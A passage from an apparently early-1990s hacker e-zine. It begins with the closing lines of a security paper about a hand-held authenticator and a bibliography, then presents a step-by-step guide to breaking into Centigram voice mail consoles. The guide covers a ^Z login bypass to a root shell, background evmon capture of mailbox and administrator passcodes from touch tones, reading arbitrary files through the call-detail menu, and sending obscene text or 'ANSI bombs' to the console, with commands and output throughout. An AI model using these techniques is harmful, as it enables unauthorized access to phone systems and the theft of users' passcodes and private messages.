5. Enter the PIN followed by "Enter".
6. Enter the challenge, followed by "Enter".
The SNK displays the response.
Programming the Hand Held Authenticator
----------- --- ---- ---- -------------
We use the Securenet Key SNK-4. It is available from
Digital Pathways
221 West Grand Avenue
Montvale NJ 07645
It costs $60 in unit quantities. Its major competitor is the
SecureId card. The latter uses a time-based algorithm to generate
the key and requires substantial and expensive software in the
host. The SNK-4 needs a small program that uses the standard
encrypt function.
We program the SNK-4s by hand, though a PC-based system is
available as well. Figure [ref programming] details the programming
steps.
The SNK shuts off automatically after 30 seconds. Press
"On" to restart.
We have found that the battery runs down in the SNK if the
"On" button is pressed continuously, say, in luggage. The
bumps around the "On" switch don't protect the switch well
enough. We suggest storing the box in the original packing
material.
Bibliography
------------
upas
David Presotto.
Upas - a simpler approach to network mail.
USENIX Summer Conference Proceedings, pps.533-538, June 1985.
seeley
Donn Seeley.
A Tour of the Worm.
USENIX Winter Conference Proceedings, Jan. 1989.
connection
David Presotto and Dennis Ritchie.
Interprocess Communication in the Ninth Edition UNIX System.
Unix Programmer's Manual, Tenth Edition.
A. G. Hume and M. D. McIlroy, Editors.
AT&T Bell Laboratories, Murray Hill, NJ. 1990.
smb
Bellovin, S.M.
Security Problems in the TCP/IP Protocol Suite.
Computer Communications Review, Vol. 9, No. 2; April, 1989,
pps.32-48.
ritchie
Ritchie, Dennis M.
On the Security of UNIX.
Unix Programmer's Manual, Tenth Edition.
A. G. Hume and M. D. McIlroy, Editors.
AT&T Bell Laboratories, Murray Hill, NJ. 1990.
V10
Unix Programmer's Manual, Tenth Edition, Volumes One and Two.
A. G. Hume and M. D. McIlroy, Editors.
AT&T Bell Laboratories, Murray Hill, NJ. 1990.
horton
Horton, Mark R.
Charter for an Electronic Communication Gateway Service - Issue 1.
%MRH CB 45264 4276 1E-271
45264-881003.01IM.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
NIA074 / File 5
Notes on Centigram Voice Mail system Consoles
Proper entry procedure, possible design flaw and serious security
bug:
Due to, I assume, more efficient task-handling and the
desire for a more 'Unix-like' environment, the developers at
Centigram needed for certain key functions to be available at all
times. For instance, the ^Z key acts as the 'escape' key (these
can be remapped, if desired). When necessary for some
applications to use an 'escape' procedure, pressing this key can,
in at leas cases, cause a drop to shell, or /cmds/qnxsh
(possibly /cmds/sh, as well, but I'm used to seeing qnxsh). If
this escape procedure were invoked during, say, /cmds/login, the
resulting drop to shell would by-pass the 'Enter Passcode:'
message. And it does.
After calling the Centigram, normal procedure is to hit ^Z
to activate the terminal, followed by the entry of the remote or
console passcodes, and then proceeding with normal console
activities. However, if ^Z is continually depressed during the
login sequence, the login program will abort and run /cmds/qnxsh.
The behavior may be somewhat erratic by the repeat use of the
escape key, but when the $ prompt appears, usually, it doesn't
deliberately go away without an 'exit' command or a ^D.
Typically, a login pattern can develop to accommodate the erratic
behavior something along the lines of: continuously depress ^Z
until $ prompt appears, hit return, possibly get 'Enter Passcode:'
message, hit return, and $ prompt appears again, set proper tty
setting, and change directory appropriately, and continue with
normal console functions.
Initial STTY Setting:
I've had problems with my terminal settings not being set
properly during the above entry procedure. I can correct this by
using the "stty +echo +edit" command, and, for my terminal, all
is restored. The correct values for STTY options and keys appear
to be:
Options: +echo +edit +etab +ers +edel +oflow +mapcr +hangup
break=03h esc=1Ah rub=7Fh can=18h eot=04h up=15h
down=
0Ah left=08h ins=0Eh del=0Bh
The keymap, of course, can be modified as desired, but the
options, especially +edit, appear to be necessary.
[A somewhat detailed description of the options could follow, or
maybe just a list and a brief review of the ones I care to
comment on]
Disks and directories:
The drives and directories are set up in a remotely MessDos
fashion. The output of a 'pwd' command looks similar to '4:/'.
'4;' represents the drive number, and '/' is the start of the
directory structure, '4:/' being the root directory for drive 4,
'3:/tmp' being the /tmp directory on drive 3, etc.
The two most important directories are 1:/cmds and 4:/cmds,
which contain, for the most part, the program files for all of
the performable commands on the system, excluding the commands
written into the shell. The directory 1:/cmds should look
similar to:
$ ls
backup drel ls rm talk
chattr eo mkdir rmdir tcap
choose fdformat mount runfloppy timer
clrhouse files p search tsk
cp frel pack sh unpack
date get_boolean patch slay ws
ddump led pwd sleep zap
diff led.init qnxsh spatch
dinit login query stty
This is a display of many useful commands. chattr changes
the read/write file attributes, cp is copy, ddump dumps disk
sectors in hex & ascii, led is the line editor, p is the file
print utility, and a variety of other things that you can
experiment with at your own leisure. DO NOT USE THE TALK
COMMAND. At least, be careful if you do. If you try to
communicate with your own terminal, it locks communication with
the shell, and upon hangup, for some reason, causes (well, in one
instance) a major system error and system-wide reboot, which,
quite frankly, made me say 'Oops. I'm not doing that again'
when I called to check on the actual voice mailboxes, and the
phone line just sat there, dead as old wood; and I was quite
relieved that it came back up after a few minutes.
The other directory, 4:/cmds, is filled with more specific
commands pertaining to functions within the voice mail system
itself. These programs are actually run from within other
programs, to produce an easy-to-understand menu system.
Normally, this menu system is immediately run after the entry
of the remote or console passcode, but it would not be run when
using the aforementioned security bug. It can be run from the
shell simply by typing the name of the program, 'console'.
Mounting and Initializing Drives:
The MOUNT command produces results similar to this when run
without arguments:
$ mount
Drive 1: Hard, 360k, offset = 256k, partition= Qnx
Drive 2: Floppy, 360k, p=1Drive 3: RamDisk, 96k, partition= Qnx
Drive 4: Hard, 6.1M, offset = 616k, partition= Qnx
$tty0 = $con, Serial at 03F8
$tty1 = $term1 , Serial at 02F8
$tty2 = $term2 , Serial at 0420
$tty3 = $mdm , Serial at 0428
The Hard and Floppy drives are fairly self-explanatory,
although I can't explain why they appear to be so small, nor do
I know where the voice recordings go, or if this list contain all
the space required for voice storage.
The Ramdisk, however, is a bit more interesting to me. The
mount command used for the above-mentioned disk 3 was:
$ mount ramdisk 3 s=96k -v
Although I'm not sure what the -v qualifier does, the rest
is fairly straightforward. I assume that the size of the drive
can be greater than 96k, although I haven't yet played with it to
see how far it can go. To initialize the drive, the following
command was used:
$ dinit 3
Quite simple, really. Now the drive is ready for use, so
one can 'mkdir 3:/tmp' or such and route files there as desired,
or use it for whatever purpose. If something is accidentally
redirected to the console with >$cons, you can use the line
editor 'led' to create a temporary file and then use the print
utility 'p' to clear the console's screen by using "p filename
>$cons", where filename contains a clear screen of 25 lines, or
an ANSI bomb (if appropriate), or a full-screen DobbsHead or
whatever you like.
EVMON and password collecting:
The evmon utility is responsible for informing the system
manager about the activity currently taking place within the
voice mail system. Run alone, evmon produces output similar to:
$ evmon
Type Ctrl-C to terminate.
ln 26 tt 3
ln 26 line break
ln 26 onhook
ln 28 ringing
ln 28 tt 8
ln 28 tt 7
ln 28 tt 6
ln 28 tt 2
ln 28 offhook
ln 28 tt *
ln 28 tt 2
ln 28 tt 0
ln 28 tt 3
ln 28 tt 0
ln 28 line break
ln 28 onhook
[...]
And so forth. This identifies a certain phone line, such as line
28, and a certain action taking place on the line, such as the
line ringing, going on or offhook, etc. The 'tt' stands (I
assume) for touch tone, and it is, of course, the tone currently
played on the line; which means that touchtone entry of passcodes
can be recorded and filed at will. In the above example, the
passcode for Mailbox 8762 is 2030 (the * key, along with the 0
key, can acts as the 'user entering mailbox' key; it can,
however, also be the abort key during passcode entry, and other
things as well). Now the user, of course, doesn't (usually) dial
8762 to enter his mailbox, he simply dials the mailbox number and
then * plus his passcode; the reason for this is the type of
signalling coming from the switch to this particular business
line was set-up for four digit touch tone ID to route the line to
the appropriate called number. This is not the only method of
signalling, however, as I've seen other businesses that use three
digit pulse signalling, for example, and there are others as
well. Each may have it's own eccentricities, but I would imagine
that the line ID would be displayed with EVMON in most cases.
Now, let's say we're online, and we want to play around, and
we want to collect passcodes. We've set up our Ramdisk to normal
size and we are ready to run evmon. We could run it, sit at our
terminal, and then record the output, but it's such a time
consuming task (this is 'real-time', after all) that sitting and
waiting be nearly pointless. So, we use the handy features of
run-in-background and file-redirection. (See, I told you we were
getting 'Unix-like'.)
$ evmon > 3:/tmp/output &
Type Ctrl-C to terminate.
5e1e
$ ...
5e1e is the task ID (TID) of the new evmon process. Now we
can go off and perform whatever lists we want, or just play in
the directories, or route DobbsHeads or whatever. When we decide
to end for the day, we simply stop EVMON, nab the file, remove
it, and if necessary, dismount the ramdisk.
$ kill 5e1e
$ p 3:/tmp/output
[ EVMON output would normally appear; if, however, ]
[ there is none, the file would be deleted during ]
[ the kill with an error message resulting ]
$ rm 3:/tmp/output
$ rmdir 3:/tmp
$ mount ramdisk 3
and now we can ^D or exit out of the shell and say good-bye.
The good thing about this EVMON procedure is that you don't
need to be online while it runs. You could start a task sometime
at night and then wait until the next day before you kill the
process and check your results. This usually produces large log
files anywhere from 40K to 200K, depending upon the amount of
system usage (these figures are rough estimates). If, however,
you start the EVMON task and leave it running, then the
administrator will not be able to start a new EVMON session until
the old task is killed. While this probably shouldn't be a
problem over the weekends, during business hours it may become a
little risky.
Remember though, that the risk might be worth it, especially
if the administrator decides to check his mailbox; you'd then
have his passcode, and possibly, remote telephone access to
system administrator functions via touch-tone on the mailbox
system.
Task management:
As we have just noted, any task like EVMON can be run in the
background by appending the command line with a &, the standard
unix 'run-in-background' character. A Task ID will echo back in
hexadecimal, quite comparable to the unix Process ID. The
program responsible for task management is called 'tsk' and
should be in 1:/cmds/tsk. Output from running tsk alone should
look something like:
$ tsk
Tty Program Tid State Blk Pri Flags Grp Mem Dad Bro Son
0 task 0001 READY ---- 1 ---IPLA----- 255 255 ---- ---- ----
0 fsys 0002 RECV 0000 3 ---IPLA----- 255 255 ---- ---- ----
0 dev 0003 RECV 0000 2 ---IPLA----- 255 255 ---- ---- ----
0 idle 0004 READY ---- 15 ----PLA----- 255 255 ---- ---- 0508
0 /cmds/timer 0607 RECV 0000 2 -S--P-AC---- 255 255 ---- ---- ----
0 /cmds/err_log 0509 RECV 0000 5 -S--P--C---- 255 255 0A0A ---- ----
0 /cmds/ovrseer 0A0A REPLY 0607 5 -S--P--C---- 255 255 ---- ---- 030C
0 /cmds/recorder 010B REPLY 0509 5 -S--P--C---- 255 255 0A0A 0509 ----
0 /cmds/master 030C REPLY 0607 5 -S--P--C---- 255 255 0A0A 010B 011C
[ ... a wide assortment of programs ... ]
0 /cmds/vmemo 011C REPLY 0110 13 -S-----C---- 255 255 030C 011B ----
3 /cmds/comm 0508 RECV 5622 8 ----P-A----- 255 255 0004 ---- 5622
3 /cmds/tsk 051D REPLY 0001 8 ------------ 255 255 301E ---- ----
3 /cmds/qnxsh 301E REPLY 0001 14 ---------E-- 255 255 5622 ---- 051D
3 /cmds/login 5622 REPLY 0003 8 -------C---- 255 255 0508 ---- 301E
Although I'm not quite sure at some of the specifics
displayed in this output, the important parts are obvious. The
first column is the tty number which corresponds to the $tty list
in 'mount' (meaning that the modem I've just called is $tty3, and
I am simultaneously running four tasks from that line); the
second column is the program name (without the drive
specification); the third column is the task ID; the middle
columns are unknown to me; and the last three represent the ties
and relations to other tasks (Parent task ID, another task ID
created from the same parent, and task ID of any program called).
Knowing this, it's easy to follow the tasks we've created
since login. Initially, task 0508, /cmds/comm, was run, which
presumably contains the requisite 'what should I do know that my
user has pressed a key?' functions, which called /cmds/login to
log the user in. Login was interrupted with ^Z and one of the
shells, qnxsh, was called to handle input from the user.
Finally, the typing of 'tsk' requires that the /cmds/tsk program
be given a task ID, and the output of the program is simply
confirming that it exists.
As mentioned, to kill a task from the shell, simply type
'kill [task-id]' where [task-id] is the four digit hexadecimal
number.
There are other functions of the tsk program, as well. The
help screen lists:
$ tsk ?
use: tsk [f={cmoprst}] [p=program] [t=tty] [u=userid]
tsk code [p=program]
tsk info
tsk mem t=tid
tsk names
tsk size [p=program] [t=tty] [u=userid]
tsk ports
tsk
tsk
tsk tree [+tid] [+all] [-net]
tsk users [p=program] [t=tty] [u=userid]
tsk vcs
tsk who tid ...
options: +qnx -header +physical [n=]node s=sort_field
I haven't seen all the information available from this, yet,
as the plain 'tsk' tells me everything I need to know; however,
you may want to play around, there's no telling what secrets are
hidden...
$ tsk tsk
Tsk tsk? Have I been a bad computer?
See what I mean?
ddump:
The ddump utility is used to display the contents on a
specified blocks of the disk. It's quite simple to use.
$ ddump ?
use: ddump drive block_number [-v]
Again, I'm not quite sure what the -v switch does, but the
instructions are very straightforward. Normal output looks
similar to:
$ ddump 3 3
Place diskette in drive 3 and hit <CR> <-- this message is always
displayed by ddump.
Block 00000003 Status: 00
000: 00 00 00 00 00 00 00 00 94 00 00 00 00 00 00 00 ................
010: 01 00 01 00 40 02 00 00 00 02 00 00 00 00 00 00 ....@...........
020: 00 01 00 FF FF 00 00 97 37 29 17 00 01 01 01 30 ........7).....0
030: C4 17 8E 62 69 74 6D 61 70 00 00 00 00 00 00 00 ...bitmap.......
040: 00 00 00 00 C0 00 00 00 00 00 00 00 00 00 00 00 ................
050: 00 00 00 FF FF 00 00 A5 37 29 17 00 01 01 17 30 ........7).....0
060: C4 25 8E 6C 6C 6C 00 00 00 00 00 00 00 00 00 00 .%.lll..........
070: 00 00 00 00 50 0E 00 00 00 0E 00 00 00 00 00 00 ....P...........
080: 00 01 00 FF FF 7E 05 A8 38 29 17 00 01 01 17 30 .....~..8).....0
090: C4 28 8F 61 62 63 00 00 00 00 00 00 00 00 00 00 .(.abc..........
0A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
[...etc...]
As you can probably notice, what we have here is the
directory track for the ramdisk. It lists three files, even
though the file abc no longer exists. The actual bytes have yet
to be decoded, but, as far as the ramdisk goes, I suspect that
they'll be memory related, and not physical block related; that
is, I suspect that some of the numbers given above correspond to
the memory address of the file, and not to the actual disk-block.
So, at least for the ramdisk, finding specific files may be
difficult. However, if you only have one file one the ramdisk
besides 'bitmap' (which appears to be mandatory across all the
disks), then the next file you create should reside on track 4
and continue working it's way up. Therefore, if you have evmon
running and redirected to a file on the ramdisk, in order to
check the contents, it's not necessary to kill the process, and
restart evmon, etc. Simply 'ddump 3 4', and you could get either
useless information (all the bytes are 00 or FF), or you could
get something like:
$ ddump 3 4
Place diskette in drive 3 and hit <CR>
Block 00000004 Status: 00
000: 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 ................
010: 6C 6E 20 20 32 36 20 74 74 20 33 1E 6C 6E 20 20 ln 26 tt 3.ln
020: 32 36 20 6C 69 6E 65 20 62 72 65 61 6B 1E 6C 6E 26 line break.ln
030: 20 20 32 36 20 6F 6E 68 6F 6F 6B 1E 6C 6E 20 20 26 onhook.ln
040: 32 38 20 72 69 6E 67 69 6E 67 1E 6C 6E 20 20 32 28 ringing.ln 2
050: 38 20 74 74 20 38 1E 6C 6E 20 20 32 38 20 74 74 8 tt 8.ln 28 tt
060: 20 37 1E 6C 6E 20 20 32 38 20 74 74 20 36 1E 6C 7.ln 28 tt 6.l
070: 6E 20 20 32 38 20 74 74 20 32 1E 6C 6E 20 20 32 n 28 tt 2.ln 2
080: 38 20 6F 66 66 68 6F 6F 6B 1E 6C 6E 20 20 32 38 8 offhook.ln 28
090: 20 74 74 20 2A 1E 6C 6E 20 20 32 38 20 74 74 20 tt *.ln 28 tt
... and so forth, thus making sure that the file does have
some content. Depending upon the length of that content, you
could then choose to either keep the file running, or restart
evmon and buffer the previous output.
led:
The program 'led' is Centigram's answer to a standard text
editor. It is equivalent to 'ed' in unix or 'edlin' in MSDOS,
but it does have it's minor differences. led is used to create
text files, edit, existing log files, or edit executable shell
scripts. By typing 'led [filename]', you will enter the led
editor, and if a filename is specified, and it exists, the file
will be loaded and the editor set to line 1. If there is no
filename on the command line, or the file does not exist, of the
file is busy, then led begins editing a null file, an empty
buffer, without the corresponding filename. (Commands can also
be specified to be used in led after the filename is entered. If
needed, you can experiment with this.)
Notable commands from within led:
i insert
a append
w [filename] write to disk; if no file is named, attempt to
write to current file; if there is no current
file, do not write.
d delete current line
a number goto line numbered
q quit (if not saved, inform user to use 'qq')
qq Really quit
When inserting or appending, led will prompt you with a '.'
period. To end you entry, simply enter one period alone on a
line, and you will then return to command mode. When displaying
the current entry, led will prefix
all new, updated lines, with the 'i' character.
The key sequence to enter a Dobbshead into a file and
redirect it to the console, then, would be:
$ led 3:/dobbshead3:/dobbshead : unable to match file
i ___
. / \
. | o o |
. | Y |
U===== |
\___/
FUCK YOU!
q
?4 buffer has been modified, use qq to quit without saving
w 3:/dobbshead
7 [the number of lines in the file]
q
$ p 3:/dobbshead > $cons
$ rm 3:/dobbshead
Ok, so it's not quite the Dobbshead. Fuck you.
The console utility:
The program that acts as the menu driver for the Voice Mail
System Administration, the program that is normally run upon
correct passcode entry, is /cmds/console. This program will
simply produce a menu with a variety of sub-menu's that allow
the administrator to perform a wide assortment of tasks. Since
this is mostly self-explanatory, I'll let you find out about
these functions for youself; I will, however, add just a few
comments about the console utility. The first menu received
should look like this:
(c) All Software Copyright 1983, 1989 Centigram Corporation
All Rights Reserved.
MAIN MENU
(R) Mailbox maintenance
(R) Report generation
(S) System maintenance
(X) Exit
Enter letter in () to execute command.
When you need help later, type ?.
COMMAND (M/R/S/X):
The mailbox maintenance option is used when you want to
find specific information concerning mailboxes on the system.
For instance, to get a listing of all the mailboxes currently
being used on the system:
COMMAND (M/R/S/X): m
MAILBOX MAINTENANCE
(B) Mailbox block inquiry
(C) Create new mailboxes
(D) Delete mailboxes
(E) Mailbox dump
(I) Inquire about mailboxes
(L) List maintenance
(M) Modify mailboxes
(P) Set passcode/tutorial
(R) Rotational mailboxes
(S) Search for mailboxes
(X) Exit
If you need help later, type ?.
COMMAND (B/C/D/E/I/L/M/P/R/S/X): i
Report destination (c/s1/s2) [c]:
Mailbox to display: 0000-9999
>>> BOBTEL <<<
Mailbox Data Inquiry
Tue Mar 31, 1992 3:07 am
Box Msgs Unp Urg Rec Mins FCOS LCOS GCOS NCOS MWI Passwd
8001 1 1 0 0 0.0 5 5 1 1 None Y
8002 0 0 0 0 0.0 5 5 1 1 None Y (t)
8003 0 0 0 0 0.0 12 12 1 1 None
0 0 0.0 12 12 1 1 None Y
8006 6 6 0 0 0.7 12 12 1 1 None N
8008 0 0 0 0 0.0 5 5 1 1 None Y
8013 0 0 0 0 0.0 12 12 1 1 None 1234
8014 0 0 0 0 0.0 5 5 1 1 None Y
8016 0 0 0 0 0.0 12 12 1 1 None Y
[ ... etc ... ]
This simply lists every box along with the relevant
information concerning are the
Total number of messages, number of unplayed messages, number of
urgent messages, and number of received messages currently being
stored on the drive for the mailbox; Mins is the numbers of
minutes currently being used by those messages; F, L, G, and
NCOS are various classes of service for the mailboxes; MWI is
the message waiting indicator, or service light; and Passwd is
simply a Yes/No condition informing the administrator whether
the mailbox currently has a password. The'(t)' the password
field means the box is currently in tutorial mode, and the '1234'
that replaces the Y/N condition, I assume, means the box is set
to initial tutorial mode with simple passcode 1234 -- in other
words the box is available to be used by a new subscriber.
Mailboxes with FCOS of 1 should be looked for, these represent
administration or service mailboxes, although they are not
necessarily capable of performing system administration
functions.
The System maintenance option from the main menu is very
useful in that, if you don't have access to the qnxsh, you can
still run a number of tasks or print out any file you wish from
within the menu system. The System Mainenance menu looks like:
SYSTEM MAINTENANCE
(A) Automatic Wakeup
(B) Automated Receptionist Extensions
(D) Display modem passcode
(E) Enable modem/serial port
(F) Floppy backup
(G) Resynchronize HIS PMS room status
(H) Hard Disk Utilities
(L) Lights test
(M) Manual message purge
(N) System name
(P) Passcode
(R) Reconfiguration
(S) System shutdown
(T) Time and date
(U) Utility menu
(V) Call Detail Recorder
(W) Network menu
(X) Exit
Enter letter in () to execute command.
When you need help later, type ?.
COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X):
If you don't have access to the 'p' command, you can still
display any specific file on the drive that you wish to see.
Choose 'v', the Call Detail Recorder option, from above, and you
will get this menu:
COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): v
Warning: cdr is not running.
CALL DETAIL RECORDER MENU
(C) Configure CDR
(R) Run CDR
(T) Terminate CDR
(E) Run EVMON
(F) Terminate EVMON
(S) Show CDR log file
(D) Delete CDR log file
(X) Exit
If you need help later, type ?.
COMMAND (C/R/T/E/F/S/D/X):
From here, you can use (C) Configure CDR to set the log
file to any name that you want, and use (S) to print that file
to your terminal.
COMMAND (C/R/T/E/F/S/D/X): c
Answer the following question to configure call detail recorder
[ simply hit return until the last 'filename' question come up ]
VoiceMemo line numbers enabled:
HOST 1 lines:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
VoiceMemo line numbers:
EVMON: HOST 1 lines to monitor:
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
EVMON:VoiceMemo line numbers:
Message levels are:
1: Detailed VoiceMemo
2: VoiceMemo
3: Pager
4: Receptionist
5: EVMON
6: Automatic WakeUp
7: Open Account Administrator
8: DTMF to PBX
9: Message Waiting Lamp
10: SL-1 integration
11: Centrex Integration
Message levels enabled:
2 3 7 9
Message levels:
cdr enable = [N]
Enter filename to save log data = [/logfile] /config/remote.cmds
Returning from the CDR configuration.
CALL DETAIL RECORDER MENU
(C) Configure CDR
(R) Run CDR
(T) Terminate CDR
(E) Run EVMON
(F) Terminate EVMON
(S) Show CDR log file
(D) Delete CDR log file
(X) Exit
If you need help later, type ?.
COMMAND (C/R/T/E/F/S/D/X): s
ad
cd
copy
date
dskchk
evmon
files
ls
mount
p
pwd
query
task
tcap
what
Don't forget to return the filename back to it's original
n
ame, as shown in the [] field, after you have finished.
If you don't have access to the shell, you can also run
EVMON, from the CDR menu, using option E. It will simply start
the evmon process displaying to your terminal, interruptable by
the break character, ^C. This, unfortunately, cannot be
redirected or run in the background as tasks running from the
shell can. If, however, you have some time to kill you may want
to play with it.
Also from the System Maintenance menu, you can perform a
number of shell tasks without direct access to the shell. Option
(U), Utilities Menu, has an option called Task. This will allow
you limited shell access, possibly with redirection and '&' back-
grounding.
COMMAND (A/B/D/E/F/G/H/L/M/N/P/R/S/T/U/V/W/X): U
UTILITY MENU
(B) Reboot
(H) History
(T) Task
(X) Exit
Enter letter in () to execute command.
When you need help later, type ?.
COMMAND (B/H/T/X): t
Choose the following commands:
ad cd copy date
dskchk evmon files ls
mount p pwd query
task tcap what
Enter a command name or 'X' to exit: pwd
1:/
Choose the following commands:
ad cd copy date
dskchk evmon files ls
mount p pwd query
task tcap what
Enter a command name or 'X' to exit: evmon
Type Ctrl-C to terminate.
ln 29 ringing
ln 29 tt 8
ln 29 tt 0
ln 29 tt 8
ln 29 tt 6
ln 29 offhook
ln 29 record ended
[ ... etc ... ]
A look at 'ad':
The program 'ad' is called to dump information on a variety
of things, the most useful being mailboxes. Dumps of specific
information about a mailbox can be done either in Mailbox format,
or Raw Dump format. Mailbox format looks like:
$ ad
Type #: 0
Mailbox #: 8486
(M)ailbox, (D)ump ? m
MAILBOX: 8486
Login status:
Bad logs = 3 Last log = 03/26/92 12:19 pmVersion = 0
Configuration:
Name # = 207314 Greeting = 207309 Greeting2 = 0
Passcode = XXXXXXXXXX Tutorial = N Extension = 8486
Ext index = 0 Attendant = Attend index = 0
Code = ID = BOBTECHM Night_treat = M Fcos = 12 Lcos = 12 Gcos = 1 Ncos = 1 Rot index = 0 Rot period = 0 Rot start = -- wkup defined = N wkup freq = 0 wkup_intvl = 0 wkup index = 0 wkup number =Contents: Motd_seq = 8 Motd_played = N User_msgs = 0 Caller_msgs = 4 Sent_cpx_msgs= 0 Sent_
fdx_msgs= 0
Sent_urg_msgs= 0 Tas_msgs = 0 Pages = 0
Receipt = 0 Sent_to_node = 0 Urg_to_node = 0
Net_urg_mlen = 0 Net_msgs_rcv = 0 Net_urg_rcv = 0
Net_sent_node= 0 Net_send_nurg= 0 Net_send_rcp = 0
Greet_count = 9 Successlogins= 1 Recpt_calls = 0
Recpt_complt = 0 Recpt_busy = 0 Recpt_rna = 0
Recpt_msgs = 0 Recpt_attend = 0 User_connect = 20
Clr_connect = 22 Callp_connect= 0 Disk_use = 498
Net_sent_mlen= 0 Net_rcvd_mlen= 0 Net_rcvd_urg = 0
Net_node_mlen= 0 Net_recip_mlen=0 Net_node_urg = 0
Text_msg_cnt = 0
Message Queues:
TYPE COUNT TOTAL HEAD TAIL TYPE COUNT TOTAL HEAD TAIL
Free 71 --- 58 55 Unplayed 0 --- -1 -1
Played 2 0.5 56 57 Urgent 0 --- -1 -1
Receipts 0 --- -1 -1 Undelivered 0 --- -1 -1
Future delivery 0 --- -1 -1 Call placement 0 --- -1 -1
Messages: 2
# msg # DATE TIME LENGTH SENDER PORT FLAGS MSG SIBL
(MINS) NXT PRV NXT PRV
Played Queue
56 207126 03/26/92 12:17 pm 0.5 000000000000000 27 ------P- 57 -1 -1 -1
57 207147 03/26/92 12:19 pm 0.1 000000000000000 29 ------P- -1 56 -1 -1
The Ramp format looks like:
$ ad
Type #: 0
Mailbox #: 8487
(M)ailbox, (D)ump ? d
HEX: 8487
000: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
010: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
020: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 34 38 |..............48|
030: 37 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |7...............|
040: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
050: 00 00 00 00 00 00 00 00 - 00 00 42 49 4f 54 45 43 |..........BOBTEC|
060: 48 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |H...............|
070: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
080: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 37 32 33 |.............723|
090: 36 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |6...............|
0a0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
0b0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
0c0: 00 00 00 00 00 00 00 00 - 00 00 00 00 00 00 00 00 |................|
[mostly deleted -- the list continues to hex fff.]
One of the unfortunate aspects is that the password is not
displayed in the Mailbox format (Awwww!). I can tell you now,
though, that it also isn't displayed anywhere in the Raw Dump
format. The program 'asetpass' was used to change the password
of a test mailbox, and both full dumps were downloaded and
compared; they matched exactly. So, it looks like the passcodes
are probably stored somewhere else, and the dump simply contains
a link to the appropriate offset; which meansthe only way, so
far, to get passcodes for mailboxes is to capture them in EVMON.
Intricacies of the login program:
The console login program is 1:/cmds/login. Although I
can't even recognize any valid 8080 series assembly in the
program (and I'm told the Centigram boxes run on the 8080
family), I did manage to find a few interesting tidbits inside of
it. Firstly, the console and remote passwords seems to be stored
in the file /config/rates; unfortunately, it's encrypted and I'm
not going to try to break the scheme. /config/rates looks like
this:
$ p /config/rates
\CE\FFC~C~\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00
\00\0A\00\00\00\00\00\0A\00\00\00\00\00\0A\00\00\00\00\00\00\00\00\00\00\00\00
\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00
Accepting the \CE as some sort of control byte, this file is
divided up into about eight empty sections of five bytes a piece,
mostly null, indicating that, possibly, there are a number of
acceptable passcode combinations, or a number of different
functions with different passcodes. In this instance, only one
passcode appears to be selected. I am still unsure, however,
whether this is actually a password file, or a file that would
acts as a pointer to another space on the disk which contains the
actual password. I would assume, for this login program, that it
is actually an encrypted password.
Another very interesting thing sleeping within the confines
of the login program is the inconspicuous string 'QNX'. It sits
in the code between two 'Enter Passcode:' prompts, separated by
\00's. I believe this to be a system-wide backdoor placed into
the login program by Centigram, Corp. Such a thing does exist;
whenever Centigram wants to get into a certain mailbox system to
perform maintenance or solve a problem, they can. They may,
however, require the Serial number of the machine or of the Hard
Drive, in order to get this access. (This serial number would be
provided by the company requiring service.)
When logging in with QNX, a very strange thing happens.
(^Z)
Enter Passcode: (QNX^M) Enter Passcode:
A second passcode prompt appears, a prompt in which the
'QNX' passcode produces an Invalid Passcode message. I believe
that when Centigram logs in from remote, they use this procedure,
along with either a predetermined passcode, or a passcode
determined based on a serial number, to access the system. I
have not ever seen this procedure actually done, but it is the
best speculation that I can give.
I should also make note of a somewhat less important point.
Should the console have no passcodes assigned, a simple ^Z for
terminal activation will start the /cmds/console program, and
log the user directly in without prompting for a passcode. The
odds on finding a Centigram like this, nowadays, is probably as
remote as being struck by lightning, but personally, I can recall
a time a number of years back when a Florida company hadn't yet
passcode protected a Centigram. It was very fun to have such a
large number of people communicating back and forth in normal
voice; it was even more fun to hop on conferences with a number
of people and record the stupidity of the average Bell operator.
Special Keys or Strings:
There are a number of special characters or strings that are
important to either the shell or the program being executed.
Some of these are:
? after the program name, gives help list for that program.
& runs a task in the background
: sets the comment field (for text within shell scripts)
; command delimiter within the shell
> redirects output of a task to a file
< (theoretically) routes input from a file
$cons the 'filename' of the console (redirectable)
$tty# the 'filename' of tty number '#'
$mdm the 'filename' of the modem line
#$ ? produces a value like '1920', '321d'
probably the TID of the current process
## ? produces a value like 'ffff'
#% ? produces a value like '0020', '001d'
#& ? produces a value like '0000'
#? ? produces a value like '0000'
#* a null argument
#g ? produces a value like '00ff'
#i directly followed by a number, produces '0000'
not followed, produces the error 'non-existent integer
variable' probably used in conjunction with environment
variables
#k accepts a line from current input (stdin) to be
substituted on the command line
#m ? '00ff'
#n ? '0000'
#p ? '0042'
#s produces the error 'non-existent string variable'
probably used in conjunction with environment variables
#t ? '0003'
#u ? some string similar to 'system'
#D ? '0018'
#M ? '0004'
#Y ? '005c'
